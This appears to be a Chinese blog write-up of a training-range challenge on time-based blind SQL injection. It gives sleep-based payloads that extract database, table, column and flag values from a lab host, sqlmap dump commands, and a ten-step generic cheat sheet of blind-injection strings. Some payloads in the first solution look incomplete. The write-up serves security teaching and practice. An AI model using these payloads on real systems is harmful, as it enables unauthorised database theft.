墨者靶场----SQL注入漏洞测试(时间盲注)

本文详细介绍了SQL注入漏洞中的时间盲注攻击方法,通过两种解法展示了如何利用回显点爆破数据库信息,包括数据库名称、表名、字段及字段值。同时,总结了时间盲注的关键步骤,包括判断延时注入、数据库长度、表数量、字段信息等。此外,还提到了利用Sqlmap工具进行自动化探测和爆库的过程。
摘要由CSDN通过智能技术生成

SQL注入漏洞测试(时间盲注)

第一种解法:利用回显点进行爆破数据库
根据题目提示:
墨者学院,在线靶场
帮墨者找到==flag 使用?type= ==
所以我们在url中输入:发现12是回显点

http://219.153.49.228:49721/flag.php?type=12'

在这里插入图片描述
利用12这个回显点进行查询数据库等信息
获取数据库 pentesterlab

http://219.153.49.228:49721/flag.php?type=database() --+

在这里插入图片描述
获取数据库的表 comment,flag,goods,user

http://219.153.49.228:49721/flag.php?type=group_concat(table_name) from information_schema.tables where table_schema = database() --+

在这里插入图片描述
获取字段数 id,flag

http://219.153.49.228:49721/flag.php?type=group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'flag' --+

在这里插入图片描述
获取字段值 mozhe1

http://219.153.49.228:49721/flag.php?type=group_concat(flag) from flag --+

在这里插入图片描述
返回上一个页面,输入拿到的flag,点击验证即可弹出如下界面,成功获取key
在这里插入图片描述

第二种解法
介绍几个函数的用法
substr 截取字符串函数 三个参数(需要截取的字符串##从第几位开始截取##截取的长度)
substr(database(),1,1)数据库名称中截取 ##从第一位开始截取,##截取长度为1
ascii() 返回字符串最左边字符的ASCII值
if(语句1,语句2,语句3) 如果语句1正确执行语句2,否则执行语句3

在了解以上的函数用法时,我们开始猜解数据库的名称
页面停滞了大概五秒钟,由if的语法可知,说明语句1的结果正确执行了sleep(5)这个函数。
112对应的ASCII字符是p

http://219.153.49.228:41317/flag.php?type=1 and  if(ascii(substr(database(),1,1))=112,sleep(5),1) --+

剩下来的字符可以通过手动测试,或者利用burp的字典爆破,或者直接利用Sqlmap进行跑库
所以最终可得数据库的名称是 pentesterlab
利用Sqlmap进行爆库

sqlmap -u "http://219.153.49.228:41317/flag.php?type=1" --batch --dbs

在这里插入图片描述

猜解表
第一步:猜解表的长度,猜解到4的时候页面发生停滞

http://219.153.49.228:41317/flag.php?type=1 and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=4,sleep(5),1) --+

第二步猜解表的字符。利用ascii去判断
判断第一个字符是否是字母

http://219.153.49.228:41317/flag.php?type=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))>96,sleep(5),1) --+

第三步判断表的第一个字符 102对应的ASCII字符是f

http://219.153.49.228:41317/flag.php?type=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))>102,sleep(5),1) --+

在这里插入图片描述
剩下来的字符可以通过手动测试,或者利用burp的字典爆破,或者直接利用Sqlmap进行跑库
所以最终有四个表 user,comment,flag,goods
利用Sqlmap进行爆表

sqlmap -u "http://219.153.49.228:41317/flag.php?type=1" --batch -D pentesterlab --tables

在这里插入图片描述
获取字段值
第一步猜解第二个字段的长度4 (flag)
而第一个字段的长度是2(id)

http://219.153.49.228:41317/flag.php?type=1 and if(length((select column_name from information_schema.columns where table_name='flag' limit 1,1))=4,sleep(5),1) --+

第二步猜解字段的值
猜解第二个字段(flag)的字符 102对应的ASCII字符是f
注意:表名要写成十六进制表示,0x表示告诉机器这是十六进制,后面的数值是flag的十六进制

http://219.153.49.228:41317/flag.php?type=1 and if(ascii(substr((select column_name from information_schema.columns where table_name=0x666c6167 limit 1,1),1,1))=102,sleep(5),1) --+

猜解第一个字段的字符(id) 105对应的ASCII字符是i

http://219.153.49.228:41317/flag.php?type=1 and if(ascii(substr((select column_name from information_schema.columns where table_name=0x666c6167 limit 0,1),1,1))=105,sleep(5),1) --+

注意:只需要修改limit后面的第一个参数即可查询所有的字段

利用Sqlmap进行爆字段

sqlmap -u "http://219.153.49.228:41317/flag.php?type=1" --batch -D pentesterlab -T flag --columns

在这里插入图片描述
猜解字段的值(flag)
id字段的值就不猜解了,如果想猜解,只需把limit的参数修改即可。
第一步猜解flag字段的长度6

http://219.153.49.228:41317/flag.php?type=1 and if(length((select flag from flag limit 0,1))=6,sleep(5),1)--+

第二步猜解字段的字符 ASCII码 109 对应的字符为 m

http://219.153.49.228:41317/flag.php?type=1 and if(ascii(substr((select flag from flag limit 0,1),1))=109,sleep(5),1) --+

利用Sqlmap进行爆字段值

sqlmap -u "http://219.153.49.228:41317/flag.php?type=1" --batch -D pentesterlab -T flag -C flag,id --dump

在这里插入图片描述
成功拿到flag,输入flag进行验证后,成功获取到key。

时间盲注的总结
1.判断是否存在延时注入
and sleep(5) 根据休眠时间判断

2.判断数据库的长度
and if (length(database))>数值,sleep(5),1) #是否大于10

3.判断第一个字符是什么
and if(ascii(substr(database(),1,1))>数值,sleep(5),1) #是否是字母
确定他的ascii值是多少,对应一个字符

4.确定表的数量
and if((select count(table_name) from information_schema.tables where table_schema = database())=数值,sleep(5),1)

5.确定第一个表名的长度
and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=数值,sleep(5),1)

6.判断第一个表名的第一个字符
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>数值,sleep(5),1)

7.判断当前表有多少个字段
and if(length((select count(column_name) from information_schema.columns where table_schema=database() and table_name = ‘表名’ limit 0,1))=数值,sleep(5),1) --+

8.判断第一个字段的长度
and if(length((select column_name from information_schema.columns where table_schema =database() and table_name=‘表名’ limit 0,1) ,1,1)) =数值,sleep(5),1)

9.判断第一个字段的第一个字符
if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘表名’ limit 0,1),1,1))=数值,sleep(5),1)

10.根据以上信息查询数据
判断数据长度
and if(length((select 字段名 from 表名 limit 0,1))=数值,sleep(5),1)–+
判断数据的字符
and if(ascii(substr((select 字段名 from 表名 limit 0,1),1))=数值,sleep(5),1

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值